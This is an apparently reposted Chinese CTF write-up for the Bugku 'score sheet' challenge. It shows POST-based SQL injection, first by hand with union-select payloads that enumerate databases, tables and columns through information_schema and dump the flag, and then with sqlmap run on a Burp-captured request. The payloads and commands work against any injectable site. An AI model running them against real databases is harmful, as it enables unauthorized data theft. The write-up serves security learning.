用sqlmap跑post型注入

bugku-成绩单 题目地址

手工注入:

①看到题目,分别提交1,2,3,出现不同的成绩单,可见参数我们是可以控制,通过POST的方式。

②我们尝试输入1 and 1=1#1 and 1=2#发现不报错,应该不是数字型注入。我们输入1',报错,这个数字(id)被'保护起来了。猜测SQL语句:~~~~where id ='$id';我们继续输入1' and 1=1#;和1' and 1=2#,发现前边没错,后边的错了,到了这里 注入点就找到了。

顺便获取有几个显示位。
1397720-20180903203357315-1338249.png
到5报错,说明有四个可能回显的位置。

union select 1,2,3,4#
1397720-20180903203405480-189575682.png

四个位置全部可以回显查询的内容。

③查找所有的数据库,输入-1' union select 1,2,3,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA#

1397720-20180903203424905-307974335.png

获得了所有数据库,不过肯定是普通用户,还是只有查看的权限。查询下user()

1397720-20180903203445989-1149432928.png

④查找skctf_flag下的表。-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='skctf_flag'#

1397720-20180903203511795-730973165.png

⑤查看fl4g下的列名。-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='fl4g'#

1397720-20180903203521990-1540875937.png

⑥ 查看skctf_flag下的内容。-1' union select 1,2,3,skctf_flag from skctf_flag.fl4g#
1397720-20180903203531205-1578651124.png

SQLMAP跑:

①首先,开burp截包。

②输入1,提交。

可以看见,burp已经把id获取到了

copy to file,保存为txt文件。

1397720-20180903210346566-1764681402.png
把这个txt放置到sqlmap的目录下边。

④打开sqlmap,shift+鼠标右键打开命令行。python sqlmap.py -r a.txt (a.txt如果没有放到sqlmap目录就用绝对路径)。

1397720-20180903210418930-801152875.png

可以看到,存在的注入类型(union查询和基于时间的盲注)和payload和数据库类型和版本都给你报出来了。
然后剩下的参数就基本和跑get型注入差不多了。

⑤获取所有数据库。python sqlmap.py -r a.txt --dbs

1397720-20180903210428694-96885518.png

⑥获取skctf_flag下所有的表。python sqlmap.py -r a.txt -D skctf_flag --tables

1397720-20180903210611597-1115386798.png

⑦获取fl4g下所有的列。python sqlmap.py -r a.txt -D skctf_flag -T fl4g --columns
1397720-20180903210622403-686441927.png

⑧获取列skctf_flag下的内容。python sqlmap.py -r a.txt -D skctf_flag -T fl4g -C "skctf_flag" --dump
1397720-20180903210633528-488445777.png

转载于:https://www.cnblogs.com/zaqzzz/p/9580749.html

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值